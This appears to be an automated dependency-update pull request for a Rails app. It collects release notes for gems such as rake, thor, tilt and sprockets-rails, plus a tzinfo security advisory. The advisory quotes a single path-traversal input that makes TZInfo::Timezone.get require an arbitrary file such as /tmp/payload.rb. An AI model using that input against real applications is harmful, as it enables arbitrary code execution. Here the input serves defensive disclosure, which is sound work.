
Mike Dalessio

LinkSanitizer always returns UTF-8 encoded strings. SafeListSanitizer and FullSanitizer
already ensured this encoding.

Mike Dalessio

SafeListSanitizer allows time tag and lang attribute by default.

Mike Dalessio

The constant Rails::Html::XPATHS_TO_REMOVE has been removed. It's not necessary with the
existing sanitizers, and should have been a private constant all along anyway.

Mike Dalessio

1.5.0

1.5.0 / 2023-01-20

SafeListSanitizer, PermitScrubber, and TargetScrubber now all support pruning of unsafe tags.

By default, unsafe tags are still stripped, but this behavior can be changed to prune the element
and its children from the document by passing prune: true to any of these classes' constructors.

@seyerian

1.4.4

1.4.4 / 2022-12-13

Address inefficient regular expression complexity with certain configurations of Rails::Html::Sanitizer.

Fixes CVE-2022-23517. See GHSA-5x79-w82f-gw8w for more information.

Mike Dalessio

Address improper sanitization of data URIs.

Fixes CVE-2022-23518 and #135. See GHSA-mcvf-2q2m-x72m for more information.

Mike Dalessio

Address possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.

Fixes CVE-2022-23520. See GHSA-rrfc-7g8p-99q8 for more information.

Mike Dalessio

Address possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.

Fixes CVE-2022-23519. See GHSA-9h9g-93gc-623h for more information.

Mike Dalessio

1.4.3

1.4.3 / 2022-06-09

Address a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.

Prevent the combination of select and style as allowed tags in SafeListSanitizer.

Fixes CVE-2022-32209

Mike Dalessio

1.4.2

1.4.2 / 2021-08-23

Slightly improve performance.

Assuming elements are more common than comments, make one less method call per node.

1.4.1

1.4.1 / 2021-08-18

Fix regression in v1.4.0 that did not pass comment nodes to the scrubber.

Some scrubbers will want to override the default behavior and allow comments, but v1.4.0 only
passed through elements to the scrubber's keep_node? method.

This change once again allows the scrubber to make the decision on comment nodes, but still skips
other non-elements like processing instructions (see #115).

Mike Dalessio

1.4.0

1.4.0 / 2021-08-18

Processing Instructions are no longer allowed by Rails::Html::PermitScrubber

Previously, a PI with a name (or "target") matching an allowed tag name was not scrubbed. There
are no known security issues associated with these PIs, but similar to comments it's preferred to
omit these nodes when possible from sanitized output.

Fixes #115.

Mike Dalessio

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ railties (indirect, 5.2.4.2 → 8.0.3) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by 55 commits:

↗️ rake (indirect, 13.0.1 → 13.3.0) · Repo · Changelog

Release Notes

13.3.0

What's Changed

Add missing changelog by @VitaliySerov in #555

Exclude 2.3-2.5 on macos-14 iamge by @hsbt in #563

Use require_relative in the Rake codebase by @koic in #566

Provide a 'Changelog' link on rubygems.org/gems/rake by @mark-young-atg in #572

Remove dependency on win32ole by @Earlopain in #573

Switch changelog_uri to releases tab by @fynsta in #577

chore: refactor/reformat the heredocs (in tests) ... by @pvdb in #589

chore: remove $trace global variable / option by @pvdb in #592

Link to Jim's last rake commit (not the git tree with that SHA) by @pvdb in #593

chore: refactor how temporary files are created (in tests) by @pvdb in #590

refactor: use $LOADED_FEATURES built-in instead of $" by @pvdb in #605

refactor: remove "exposed" @system_dir instance variable (in helper method) by @pvdb in #604

refactor: simplify Rake::Application#system_dir method by @pvdb in #591

Remove unused argument by @takmar in #623

Use latest RDoc release instead of Ruby 3.2's default version by @st0012 in #630

Enabled trusted publisher for rubygems.org by @hsbt in #634

refactor: use Dir.home to find rake's standard system dir by @pvdb in #608

Fix RDoc links in Rake Information section by @komagata in #627

refactor: move dependency requires to ruby_runner.rb file by @pvdb in #609

Pattern matching support for arguments by @rgarner in #515

New Contributors

@VitaliySerov made their first contribution in #555

@koic made their first contribution in #566

@mark-young-atg made their first contribution in #572

@Earlopain made their first contribution in #573

@fynsta made their first contribution in #577

@takmar made their first contribution in #623

@st0012 made their first contribution in #630

@komagata made their first contribution in #627

@rgarner made their first contribution in #515

Full Changelog: v13.2.1...v13.3.0

13.2.1

What's Changed

Suppressed "internal:array:52:in 'Array#each'" from backtrace by @hsbt in #554

Bump actions/configure-pages from 4 to 5 by @dependabot in #553

Full Changelog: v13.2.0...v13.2.1

13.2.0

What's Changed

Fix rule example to be correct by @zenspider in #525

Switch to use test-unit by @hsbt in #536

Removed redundant block by @hsbt in #537

Use Struct instead of OpenStruct. by @hsbt in #545

Accept FileList object as directory task's target by @gemmaro in #530

Fix exception when exception has nil backtrace by @janbiedermann in #451

Add TruffleRuby on CI by @andrykonchin in #551

New Contributors

@zenspider made their first contribution in #525

@gemmaro made their first contribution in #530

@janbiedermann made their first contribution in #451

@andrykonchin made their first contribution in #551

Full Changelog: v13.1.0...v13.2.0

13.1.0

What's Changed

Added dependabot.yml for actions by @hsbt in #416

Add Ruby 3.1 to the CI matrix by @petergoldstein in #415

(Performance) Remove unnecessary I/O syscalls for FileTasks by @da2x in #393

Skip test failure with JRuby by @hsbt in #418

Bump actions/checkout from 2 to 3 by @dependabot in #417

Remove bin/rdoc by @tnir in #421

Remove bin/rake by @tnir in #422

Remove bin/bundle by @tnir in #425

Apply RuboCop linting for Ruby 2.3 by @tnir in #423

Update rubocop to work with Ruby 2.4 compatible by @tnir in #424

chore: fix typo in comments by @tnir in #429

Use 'test' as workflow name on Actions by @tnir in #427

docs: update CONTRIBUTING.rdoc by @tnir in #428

Add RuboCop job to Actions by @tnir in #426

Lock minitest-5.15.0 for Ruby 2.2 by @hsbt in #442

Eagerly require set in thread_pool.rb by @jeremyevans in #440

Avoid creating an unnecessary thread pool by @jeremyevans in #441

Add credit for maintenance in Rake 12/13 by @tnir in #443

Sh fully echoes commands which error exit by @MarkDBlackwell in #147

Correct RuboCop offenses by @deivid-rodriguez in #444

[StepSecurity] ci: Harden GitHub Actions by @step-security-bot in #450

Bump ruby/setup-ruby from 1.126.0 to 1.127.0 by @dependabot in #453

Bump actions/checkout from 3.1.0 to 3.2.0 by @dependabot in #454

Bump ruby/setup-ruby from 1.127.0 to 1.131.0 by @dependabot in #457

Add ruby 3.2 to test matrix by @hanneskaeufler in #458

Bump ruby/setup-ruby from 1.131.0 to 1.133.0 by @dependabot in #459

Bump actions/checkout from 3.2.0 to 3.3.0 by @dependabot in #463

Bump ruby/setup-ruby from 1.133.0 to 1.133.1 by @dependabot in #462

Bump ruby/setup-ruby from 1.133.1 to 1.133.2 by @dependabot in #464

Bump ruby/setup-ruby from 1.133.2 to 1.134.0 by @dependabot in #466

Missing 'do' on example by @zzak in #467

Try to use dependabot automerge by @hsbt in #470

Rewrite auto-merge feature for dependabot by @hsbt in #471

Bump ruby/setup-ruby from 1.134.0 to 1.137.2 by @dependabot in #469

Update bundler in Dependabot by @ono-max in #472

Bump ruby/setup-ruby from 1.137.2 to 1.138.0 by @dependabot in #473

Update minitest requirement from 5.15.0 to 5.17.0 by @dependabot in #474

Fix grammar in help text by @mebezac in #381

Try to use ruby/ruby/.github/workflows/ruby_versions.yml@master by @hsbt in #475

Bump lewagon/wait-on-check-action from 1.2.0 to 1.3.1 by @dependabot in #476

Use GitHub Pages Action for generating rdoc page by @hsbt in #477

Bump ruby/setup-ruby from 1.138.0 to 1.143.0 by @dependabot in #478

Update minitest requirement from 5.17.0 to 5.18.0 by @dependabot in #479

Bump ruby/setup-ruby from 1.143.0 to 1.144.0 by @dependabot in #480

Bump ruby/setup-ruby from 1.144.0 to 1.144.1 by @dependabot in #482

Bump actions/deploy-pages from 1 to 2 by @dependabot in #481

Bump ruby/setup-ruby from 1.144.1 to 1.144.2 by @dependabot in #484

Update rubocop requirement from ~> 1.12.1 to ~> 1.48.1 by @dependabot in #485

Bump ruby/setup-ruby from 1.144.2 to 1.145.0 by @dependabot in #487

Update rubocop requirement from ~> 1.48.1 to ~> 1.49.0 by @dependabot in #488

Support #detailed_message when task failed by @ksss in #486

Debug at stop when task fail by @ksss in #489

Drop to support Ruby 2.2 by @hsbt in #492

Bump ruby/setup-ruby from 1.145.0 to 1.146.0 by @dependabot in #491

Update rubocop requirement from ~> 1.49.0 to ~> 1.50.1 by @dependabot in #493

Bump up setup-ruby by @hsbt in #497

Bump ruby/setup-ruby from 1.148.0 to 1.149.0 by @dependabot in #498

Update rubocop requirement from ~> 1.50.1 to ~> 1.51.0 by @dependabot in #499

Bump ruby/setup-ruby from 1.149.0 to 1.150.0 by @dependabot in #500

Update rubocop requirement from ~> 1.51.0 to ~> 1.52.0 by @dependabot in #502

Bump ruby/setup-ruby from 1.150.0 to 1.151.0 by @dependabot in #503

Update development dependencies by @hsbt in #505

Bump ruby/setup-ruby from 1.151.0 to 1.152.0 by @dependabot in #506

Bump actions/upload-pages-artifact from 1 to 2 by @dependabot in #508

Bump actions/checkout from 3 to 4 by @dependabot in #513

Bump ruby/setup-ruby from 1.152.0 to 1.153.0 by @dependabot in #514

Bump actions/checkout from 4.0.0 to 4.1.0 by @dependabot in #516

Bump ruby/setup-ruby from 1.153.0 to 1.154.0 by @dependabot in #517

Bump ruby/setup-ruby from 1.154.0 to 1.155.0 by @dependabot in #518

Bump ruby/setup-ruby from 1.155.0 to 1.156.0 by @dependabot in #519

Bump actions/checkout from 4.1.0 to 4.1.1 by @dependabot in #520

Bump ruby/setup-ruby from 1.156.0 to 1.157.0 by @dependabot in #521

New Contributors

@petergoldstein made their first contribution in #415

@da2x made their first contribution in #393

@dependabot made their first contribution in #417

@tnir made their first contribution in #421

@step-security-bot made their first contribution in #450

@hanneskaeufler made their first contribution in #458

@ono-max made their first contribution in #472

@mebezac made their first contribution in #381

@ksss made their first contribution in #486

Full Changelog: v13.0.6...v13.1.0

13.0.6 (from changelog)

Additional fix for #389 Pull request #390 by hsbt

13.0.5 (from changelog)

Fixed the regression of #388 Pull request #389 by hsbt

13.0.4 (from changelog)

Fix rake test loader swallowing useful error information. Pull request #367 by deivid-rodriguez

Add -C/–directory option the same as GNU make. Pull request #376 by nobu

13.0.3 (from changelog)

Fix breaking change of execution order on TestTask. Pull request #368 by ysakasin

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ rb-fsevent (indirect, 0.10.3 → 0.11.2) · Repo

Release Notes

0.11.2

Avoid modifying string literals #91

0.11.1

rescue Errno::EBADF when closing pipe #92

0.11.0

Add arm64 arch to support Apple M1 guard/rb-fsevent#88

0.10.4

Remove bundler development dependency #85

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 14 commits:

↗️ rb-inotify (indirect, 0.10.0 → 0.11.1) · Repo

Commits

See the full diff on Github. The new version differs by 14 commits:

↗️ sass (indirect, 3.5.1 → 3.7.4) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ sprockets (indirect, 3.7.2 → 3.7.5) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by 25 commits:

↗️ sprockets-rails (indirect, 3.2.1 → 3.5.2) · Repo · Changelog

Release Notes

3.5.2

What's Changed

Fix deprecations with Rails 8.0 by @rafaelfranca in #535

New Contributors

@fynsta made their first contribution in #530

Full Changelog: v3.5.1...v3.5.2

3.5.1

What's Changed

Handle the gem being loaded via sprockets/railtie rather than the expected sprockets/rails entrypoint. by @mamhoff in #525

New Contributors

@mamhoff made their first contribution in #525

Full Changelog: v3.5.0...v3.5.1

3.5.0

What's Changed

Add useful message for logger silence error by @rossta in #381

Use a dedicated ActiveSupport::Deprecation for Rails 7.2 compatibility by @etiennebarrie in #517

Dropped support for Rails versions older than 6.1

New Contributors

@markrmullan made their first contribution in #502

@rossta made their first contribution in #381

@yahonda made their first contribution in #509

@skipkayhil made their first contribution in #510

@etiennebarrie made their first contribution in #517

@byroot made their first contribution in #523

Full Changelog: v3.4.2...v3.5.0

3.4.2

What's Changed

Fix protocol relative URLs amended accidentally by @PikachuEXE in #485

Add assets.resolve_assets_in_css_urls configuration option to allow disabling AssetUrlProcessor by @rmacklin in #489

New Contributors

@PikachuEXE made their first contribution in #485

@rmacklin made their first contribution in #489

Full Changelog: v3.4.1...v3.4.2

3.4.1

What's Changed

expose dependencies from AssetUrlProcessor by @zarqman in #480

Fix issues with relative paths from AssetUrlProcessor by @jcoyne in #482

Fix sourcemapping url replacement by @dhh in #484

Full Changelog: v3.4.0...v3.4.1

3.4.0

What's Changed

Ensure source mapping URLs set by transpilers are not broken by appending a semicolon to their path and translate the paths to the digested versions for deployment by @dhh in #479

This makes sprockets-rails compatible out of the box with sourcemap generation from jsbundling-rails.

3.3.0

What's Changed

Process css files so that they get digested paths for asset files by @jcoyne in #476. This allows you to use sprockets-rails together with cssbundling-rails and be able to reference assets in the asset pipeline without additional compilation.

Raise the error that includes an error message by @ghiculescu in #472

Full Changelog: v3.2.2...v3.3.0

3.2.2

Fix extending ActionView::Base instances with Sprockets::Rails::Helper on Rails 6.1

Fix deprecation warning on Ruby 2.7 [#454]

action_view/base is no longer required when rake tasks are loaded [#455]

Asset not precompiled error exception renamed to AssetNotPrecompiledError [#414]

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ thor (indirect, 1.0.1 → 1.4.0) · Repo · Changelog

Release Notes

1.4.0

What's Changed

Lazily load YAML by @deivid-rodriguez in #892

Fix encoding error when trying to show a diff: by @Edouard-chin in #898

fix: Unsafe shell command constructed from library input by @odaysec in #897

Use git difftool for merge.tool identifiers by @moguls753 in #900

feat: support gsub_file erroring if gsub doesn't change anything, and add gsub_file! by @G-Rath in #877

New Contributors

@hlascelles made their first contribution in #893

@Edouard-chin made their first contribution in #898

@odaysec made their first contribution in #897

@moguls753 made their first contribution in #900

@G-Rath made their first contribution in #877

@Uaitt made their first contribution in #891

Full Changelog: v1.3.2...v1.4.0

1.3.2

What's Changed

Fix a few typos in README by @duffuniverse in #880

Correctly identify hyphenated and alias command names by @takmar in #878

New Contributors

@duffuniverse made their first contribution in #880

Full Changelog: v1.3.1...v1.3.2

1.3.1

What's Changed

Preserve Correct Indentation When Uncommenting Lines by @viktorianer in #873

Document the '--skip-' option for boolean options. by @andrewn617 in #876

New Contributors

@takmar made their first contribution in #865

@m-nakamura145 made their first contribution in #866

@cprodhomme made their first contribution in #863

@ancao90 made their first contribution in #872

@viktorianer made their first contribution in #873

@andrewn617 made their first contribution in #876

Full Changelog: v1.3.0...v1.3.1

1.3.0

What's Changed

use the correct class for shared namespaces by @Gerst20051 in #754

Allow to Override Order of Commands in Help by @alessio-signorini in #642

Add support for providing http headers to get by @dnlgrv in #801

Don't document negative boolean option named no_* by @BrentWheeldon in #797

CreateFile#identical? fixed for files containing multi-byte UTF-8 codepoints by @tomclose in #786

Drop support to Ruby 2.6 by @rafaelfranca in #821

Fix dashless option usage info by @sambostock in #800

Support Range in enum option by @phene in #775

Check if type: array values are in enum by @movermeyer in #784

Fix inject into file warning by @nicolas-brousse in #709

Support Thor::CoreExt::HashWithIndifferentAccess#slice method by @shuuuuun in #812

🌧️ long_desc: new option to disable wrapping by @igneus in #739

Print default in help when option type is :boolean and default is false by @nevesenin in #849

Silence encoding warnings in specs by @p8 in #857

Validate arguments for method_option and class_option by @p8 in #856

Fix help for file_collision method without block by @shuuuuun in #858

Extract print methods to seperate classes by @p8 in #854

Add support for printing tables with borders by @p8 in #855

Fix printing tables with borders and indentation by @p8 in #861

New Contributors

@Gerst20051 made their first contribution in #754

@alessio-signorini made their first contribution in #642

@dnlgrv made their first contribution in #801

@BrentWheeldon made their first contribution in #797

@tomclose made their first contribution in #786

@sambostock made their first contribution in #800

@phene made their first contribution in #775

@movermeyer made their first contribution in #784

@nicolas-brousse made their first contribution in #709

@shuuuuun made their first contribution in #812

@igneus made their first contribution in #739

@nevesenin made their first contribution in #849

Full Changelog: v1.2.2...v1.3.0

1.2.2

What's Changed

Respect implicit encoding of thorfiles by @timdiggins in #782

Switch hash from MD5 to SHA256 by @stanhu in #785

Respect the updated NO_COLOR specification by @coderjoe in #796

Remove support for deprecated OS by @peterzhu2118 in #798

Support thor install <uri> to install remote thor files by @deivid-rodriguez in #787

Update error message for content already exists case. by @jpgeek in #799

Allow setting file permissions with create_file by @skipkayhil in #820

Properly pad aliases for option usage by @p8 in #810

New Contributors

@ytkg made their first contribution in #767

@timdiggins made their first contribution in #780

@stanhu made their first contribution in #785

@jdufresne made their first contribution in #806

@peterzhu2118 made their first contribution in #798

@casperisfine made their first contribution in #807

@jpgeek made their first contribution in #799

@skipkayhil made their first contribution in #820

@p8 made their first contribution in #810

Full Changelog: v1.2.1...v1.2.2

1.2.1

What's Changed

Fix regressions with insert_into_file

Full Changelog: v1.2.0...v1.2.1

1.2.0

What's Changed

Support Thor::CoreExt::HashWithIndifferentAccess#except for Rails 6.0 by @koic in #734

The klass parameter 'inject_into_class' should be given a string type.(also inject_into_module) by @ratovia in #752

Added Shell::Basic#say_error by @postmodern in #750

Check for duplicate content in relevant section when inserting into files by @excid3 in #735

Loaded the directory under tasks. by @Mitsuru53 in #747

Update Thor::Actions#inside to return the value yielded by the block by @jordan-brough in #712

remove_file should unlink broken symlinks by @2called-chaos in #720

Use string interpolation for trailing whitespace by @jonathanhefner in #730

Indent multiline messages in say_status by @jonathanhefner in #714

Allow leading hyphen in switch values when specified with = by @univerio in #737

Fix for #707 by @scambra in #708

Support latest did_you_mean by @deivid-rodriguez in #761

New Contributors

@ratovia made their first contribution in #752

@excid3 made their first contribution in #735

@Mitsuru53 made their first contribution in #747

@jordan-brough made their first contribution in #712

@2called-chaos made their first contribution in #720

@univerio made their first contribution in #737

@scambra made their first contribution in #708

Full Changelog: v1.1.0...v1.2.0

1.1.0 (from changelog)

Don't use ANSI colors when terminal is dumb.

Ensure default option/argument is not erroneously aliased.

Fixes a bug in the calculation of the print_wrapped method.

Obey :mute and options[:quiet] in Shell#say.

Support Ruby 3.0.

Add force option to the gsub_file action.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tilt (indirect, 2.0.8 → 2.6.1) · Repo · Changelog

Release Notes

2.6.1 (from changelog)

Fix race condition during parallel coverage testing using Template compiled_path option/method (jeremyevans)

2.6.0 (from changelog)

Support :compiled_path option, needed for compiled paths when using :scope_class and fixed locals (jeremyevans)

Support :scope_class option to force a specific scope class, instead of using the class of the provided scope (jeremyevans)

Support fallback fixed locals for templates without extracted locals via :default_fixed_locals option (jeremyevans)

Add Tilt.extract_fixed_locals accessor for enabling :extract_fixed_locals globally (jeremyevans)

Support embedded fixed locals for templates via magic comments via :extract_fixed_locals option (jeremyevans)

Support fixed locals for templates via :fixed_locals option (jeremyevans)

2.5.0 (from changelog)

Deprecate creole templates as they require modifying frozen string literals (jeremyevans)

Remove deprecated erubis, wikicloth, and maruku templates (jeremyevans)

Avoid spurious frozen string literal warnings for chilled strings when using Ruby 3.4 (jeremyevans)

2.4.0 (from changelog)

Support commonmarker 1.0+ API (unasuke) (#10)

Make etanni template work with frozen string literals (jeremyevans)

Deprecate erubis, wikicloth, and maruku templates as they require modifying frozen string literals (jeremyevans)

Make SassTemplate ignore unsupported options when using sass-embedded (jeremyevans)

2.1.0 (from changelog)

Use UnboundMethod#bind_call on Ruby 2.7+ for better performance (#380, jeremyevans)

Add Tilt::Template#freeze_string_literals? for freezing string literals in compiled templates (#301, jeremyevans)

Use Haml::Template for Tilt::HamlTemplate if available (Haml 6+) (#391, ntkme)

Deprecate BlueCloth, Less, and Sigil support (#382, jeremyevans)

Add Template#compiled_path accessor to save compiled template output to file (#369, jeremyevans)

Add Mapping#unregister to remove registered extensions (#376, jeremyevans)

Add Mapping#register_pipeline to register template pipelines (#259, jeremyevans)

Remove Tilt::Dummy (#364, jeremyevans)

Ensure Mapping#extensions_for returns unique values (#342, mojavelinux)

Remove opal support, since the the opal API changed (#374, jeremyevans)

Remove .livescript extension for LiveScript (#374, jeremyevans)

Set required_ruby_version in gemspec (#371, jeremyevans)

2.0.11 (from changelog)

Fix #extensions_for for RedcarpetTemplate (judofyr)

Support the new sass-embedded gem (#367, ntkme)

Add Tilt::EmacsOrg support (#366, hacktivista)

Improve rendering of BasicObject instances (#348, jeremyevans)

Fix Ruby 3.0 compatibility (#360, voxik)

2.0.10 (from changelog)

Remove test files from bundled gem (#339, greysteil)

Fix warning when using yield in templates on ruby 2.7 (#343, jeremyevans)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ tzinfo (indirect, 1.2.6 → 2.0.6) · Repo · Changelog

Security Advisories 🚨

🚨 TZInfo relative path traversal vulnerability allows loading of arbitrary files

Impact

Affected versions

0.3.60 and earlier.

1.0.0 to 1.2.9 when used with the Ruby data source (tzinfo-data).

Vulnerability

With the Ruby data source (the tzinfo-data gem for tzinfo version 1.0.0 and later and built-in to earlier versions), time zones are defined in Ruby files. There is one file per time zone. Time zone files are loaded with require on demand. In the affected versions, TZInfo::Timezone.get fails to validate time zone identifiers correctly, allowing a new line character within the identifier. With Ruby version 1.9.3 and later, TZInfo::Timezone.get can be made to load unintended files with require, executing them within the Ruby process.

For example, with version 1.2.9, you can run the following to load a file with path /tmp/payload.rb:
TZInfo::Timezone.get("foo\n/../../../../../../../../../../../../../../../../tmp/payload")
The exact number of parent directory traversals needed will vary depending on the location of the tzinfo-data gem.

TZInfo versions 1.2.6 to 1.2.9 can be made to load files from outside of the Ruby load path. Versions up to and including 1.2.5 can only be made to load files from directories within the load path.

This could be exploited in, for example, a Ruby on Rails application using tzinfo version 1.2.9, that allows file uploads and has a time zone selector that accepts arbitrary time zone identifiers. The CVSS score and severity have been set on this basis.

Versions 2.0.0 and later are not vulnerable.

Patches

Versions 0.3.61 and 1.2.10 include fixes to correctly validate time zone identifiers (commit 9eddbb5 for 0.3.x and commit 9905ca9 for 1.2.x).

Note that version 0.3.61 can still load arbitrary files from the Ruby load path if their name follows the rules for a valid time zone identifier and the file has a prefix of tzinfo/definition within a directory in the load path. For example if /tmp/upload was in the load path, then TZInfo::Timezone.get('foo') could load a file with path /tmp/upload/tzinfo/definition/foo.rb. Applications should ensure that untrusted files are not placed in a directory on the load path.

Workarounds

As a workaround, the time zone identifier can be validated before passing to TZInfo::Timezone.get by ensuring it matches the regular expression \A[A-Za-z0-9+\-_]+(?:\/[A-Za-z0-9+\-_]+)*\z.

For more information

If you have any questions or comments about this advisory:

Open an issue in the tzinfo repository.

Release Notes

2.0.6

Eliminate Object#untaint deprecation warnings on JRuby 9.4.0.0. #145.

TZInfo v2.0.6 on RubyGems.org

2.0.5

Changed DateTime results to always use the proleptic Gregorian calendar. This affects DateTime results prior to 1582-10-15 and any arithmetic performed on the results that would produce a secondary result prior to 1582-10-15.

Added support for eager loading all the time zone and country data by calling either TZInfo::DataSource#eager_load! or TZInfo.eager_load!. Compatible with Ruby On Rails' eager_load_namespaces. #129.

Ignore the SECURITY file from Arch Linux's tzdata package. #134.

TZInfo v2.0.5 on RubyGems.org

2.0.4

Fixed an incorrect InvalidTimezoneIdentifier exception raised when loading a zoneinfo file that includes rules specifying an additional transition to the final defined offset (for example, Africa/Casablanca in version 2018e of the Time Zone Database). #123.

TZInfo v2.0.4 on RubyGems.org

2.0.3

Added support for handling "slim" format zoneinfo files that are produced by default by zic version 2020b and later. The POSIX-style TZ string is now used calculate DST transition times after the final defined transition in the file. #120.

Fixed TimeWithOffset#getlocal returning a TimeWithOffset with the timezone_offset still assigned when called with an offset argument on JRuby 9.3.

Rubinius is no longer supported.

TZInfo v2.0.3 on RubyGems.org

2.0.2

Fixed 'wrong number of arguments' errors when running on JRuby 9.0. #114.

Fixed warnings when running on Ruby 2.8. #113.

TZInfo v2.0.2 on RubyGems.org

2.0.1

Fixed "SecurityError: Insecure operation - require" exceptions when loading data with recent Ruby releases in safe mode. #100.

Fixed warnings when running on Ruby 2.7. #109.

Add a TZInfo::Timezone#=~ method that performs a regex match on the time zone identifier. #99.

Add a TZInfo::Country#=~ method that performs a regex match on the country code.

TZInfo v2.0.1 on RubyGems.org

2.0.0

Added

to_local and period_for instance methods have been added to TZInfo::Timezone. These are similar to utc_to_local and period_for_utc, but take the UTC offset of the given time into account.

abbreviation, dst?, base_utc_offset and observed_utc_offset instance methods have been added to TZInfo::Timezone, returning the abbreviation, whether daylight savings time is in effect and the UTC offset of the time zone at a specified time.

A TZInfo::Timestamp class has been added. It can be used with TZInfo::Timezone in place of a Time or DateTime.

local_time, local_datetime and local_timestamp instance methods have been added to TZInfo::Timezone. These methods construct local Time, DateTime and TZInfo::Timestamp instances with the correct UTC offset and abbreviation for the time zone.

Support for a (yet to be released) version 2 of tzinfo-data has been added, in addition to support for version 1. The new version will remove the (no longer needed) DateTime parameters from transition times, reduce memory consumption and improve the efficiency of loading timezone and country indexes.

A TZInfo::VERSION constant has been added, indicating the TZInfo version number.

Changed

The minimum supported Ruby versions are now Ruby MRI 1.9.3, JRuby 1.7 (in 1.9 or later mode) and Rubinius 3.

Local times are now returned using the correct UTC offset (instead of using UTC). #49 and #52.

Local times are returned as instances of TimeWithOffset, DateTimeWithOffset or TZInfo::TimestampWithOffset. These classes subclass Time, DateTime and TZInfo::Timestamp respectively. They override the default behaviour of the base classes to return information about the observed offset at the indicated time. For example, the zone abbreviation is returned when using the %Z directive with strftime.

The transitions_up_to, offsets_up_to and strftime instance methods of TZInfo::Timezone now take the UTC offsets of given times into account (instead of ignoring them as was previously the case).

The TZInfo::TimezonePeriod class has been split into two subclasses: TZInfo::OffsetTimezonePeriod and TZInfo::TransitionsTimezonePeriod. TZInfo::OffsetTimezonePeriod is returned for time zones that only have a single offset. TZInfo::TransitionsTimezonePeriod is returned for periods that start or end with a transition.

TZInfo::TimezoneOffset#abbreviation, TZInfo::TimezonePeriod#abbreviation and TZInfo::TimezonePeriod#zone_identifier now return frozen String instances instead of instances of Symbol.

The utc_offset and utc_total_offset attributes of TZInfo::TimezonePeriod and TZInfo::TimezoneOffset have been renamed base_utc_offset and observed_utc_offset respectively. The former names have been retained as aliases.

TZInfo::Timezone.get, TZInfo::Timezone.get_proxy and TZInfo::Country.get can now be used with strings having any encoding. Previously, only encodings that are directly comparable with UTF-8 were supported.

The requested identifier is included in TZInfo::InvalidTimezoneIdentifier exception messages.

The requested country code is included in TZInfo::InvalidCountryCode exception messages.

The full range of transitions is now loaded from zoneinfo files. Zoneinfo files produced with version 2014c of the zic tool contain an initial transition 2**63 seconds before the epoch. Zoneinfo files produced with version 2014d or later of zic contain an initial transition 2**59 seconds before the epoch. These transitions would previously have been ignored, but are now returned in methods such as TZInfo::Timezone#transitions_up_to.

The TZInfo::RubyDataSource and TZInfo::ZoneinfoDataSource classes have been moved into a new TZInfo::DataSources module. Code that is setting TZInfo::ZoneinfoDataSource.search_path or TZInfo::ZoneinfoDataSource.alternate_iso3166_tab_search_path will need to be updated accordingly.

The TZInfo::InvalidZoneinfoDirectory and TZInfo::ZoneinfoDirectoryNotFound exception classes raised by TZInfo::DataSources::ZoneinfoDataSource have been moved into the TZInfo::DataSources module.

Setting the data source to :ruby or instantiating TZInfo::DataSources::RubyDataSource will now immediately raise a TZInfo::DataSources::TZInfoDataNotFound exception if require 'tzinfo/data' fails. Previously, a failure would only occur later when accessing an index or loading a timezone or country.

The DEFAULT_SEARCH_PATH and DEFAULT_ALTERNATE_ISO3166_TAB_SEARCH_PATH constants of TZInfo::DataSources::ZoneinfoDataSource have been made private.

The TZInfo::Country.data_source, TZInfo::DataSource.create_default_data_source, TZInfo::DataSources::ZoneinfoDataSource.process_search_path, TZInfo::Timezone.get_proxies and TZInfo::Timezone.data_source methods have been made private.

The performance of loading zoneinfo files and the associated indexes has been improved.

Memory use has been decreased by deduplicating String instances when loading country and time zone data.

The dependency on the deprecated thread_safe gem as been removed and replaced by concurrent-ruby.

The Info classes used to return time zone and country information from TZInfo::DataSource implementations have been moved into the TZInfo::DataSources module.

The TZInfo::TransitionDataTimezoneInfo class has been removed and replaced with TZInfo::DataSources::TransitionsDataTimezoneInfo and TZInfo::DataSources::ConstantOffsetDataTimezoneInfo. TZInfo::DataSources::TransitionsDataTimezoneInfo is constructed with an Array of TZInfo::TimezoneTransition instances representing times when the offset changes. TZInfo::DataSources::ConstantOffsetDataTimezoneInfo is constructed with a TZInfo::TimezoneOffset instance representing the offset constantly observed in a time zone.

The TZInfo::DataSource#timezone_identifiers method should no longer be overridden in custom data source implementations. The implementation in the base class now calculates a result from TZInfo::DataSource#data_timezone_identifiers and TZInfo::DataSource#linked_timezone_identifiers.

The results of the TZInfo::DataSources::RubyDataSource to_s and inspect methods now include the time zone database and tzinfo-data versions.

Removed

Methods of TZInfo::Timezone that accept time arguments no longer allow Integer timestamp values. Time, DateTime or TZInfo::Timestamp values or objects that respond to to_i, subsec and optionally utc_offset must be used instead.

The %:::z format directive can now only be used with TZInfo::Timezone#strftime if it is supported by Time#strftime on the runtime platform.

Using TZInfo::Timezone.new(identifier) and TZInfo::Country.new(code) to obtain a specific TZInfo::Timezone or TZInfo::Country will no longer work. TZInfo::Timezone.get(identifier) and TZInfo::Country.get(code) should be used instead.

The TZInfo::TimeOrDateTime class has been removed.

The valid_for_utc?, utc_after_start?, utc_before_end?, valid_for_local?, local_after_start? and local_before_end? instance methods of TZInfo::TimezonePeriod have been removed. Comparisons can be performed with the results of the starts_at, ends_at, local_starts_at and local_ends_at methods instead.

The to_local and to_utc instance methods of TZInfo::TimezonePeriod and TZInfo::TimezoneOffset have been removed. Conversions should be performed using the TZInfo::Timezone class instead.

The TZInfo::TimezonePeriod#utc_total_offset_rational method has been removed. Equivalent information can be obtained using the TZInfo::TimezonePeriod#observed_utc_offset method.

The datetime, time, local_end, local_end_time, local_start and local_start_time instance methods of TZInfo::TimezoneTransition have been removed. The at, local_end_at and local_start_at methods should be used instead and the result (a TZInfo::TimestampWithOffset) converted to either a DateTime or Time by calling to_datetime or to_time on the result.

